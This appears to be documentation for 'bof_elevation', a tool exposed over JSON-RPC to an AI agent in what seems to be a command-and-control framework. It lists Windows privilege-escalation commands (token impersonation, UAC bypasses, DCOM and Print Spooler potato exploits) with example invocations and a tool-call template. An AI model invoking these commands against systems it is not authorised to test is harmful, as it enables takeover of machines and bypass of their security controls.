bof_elevation
Elevate privileges to SYSTEM on Windows using token impersonation, UAC bypass, and potato exploits.
Instructions
Elevation-BOF: Local privilege escalation to SYSTEM.
getsystem token Elevate to SYSTEM via TrustedInstaller impersonation. Example: getsystem token
uacbybass sspi UAC bypass via SSPI Datagram Contexts. Example: uacbybass sspi c:\windows\tasks\agent.exe
uacbybass regshellcmd UAC bypass via ms-settings Shell registry key. Example: uacbybass regshellcmd c:\windows\tasks\agent.exe
potato-dcom {--token | --run <program_with_args>} DCOM Potato — SYSTEM via SeImpersonate. Example: potato-dcom --token Example: potato-dcom --run C:\Windows\System32\cmd.exe /c whoami /all
potato-print {--token | --run <program_with_args>} PrintSpoofer — SYSTEM via Print Spooler Named Pipe. Example: potato-print --token
Tool call template
Replace each placeholder with a value matching the input schema. Only required parameters are included; add optional parameters as needed.
{
"id": 1,
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"arguments": {
"agent_id": "<agent_id>",
"command": "<command>"
},
"name": "bof_elevation"
}
}Input Schema
| Name | Required | Description | Default |
|---|---|---|---|
| agent_id | Yes | ||
| command | Yes | ||
| args | No |
Output Schema
| Name | Required | Description | Default |
|---|---|---|---|
| result | Yes |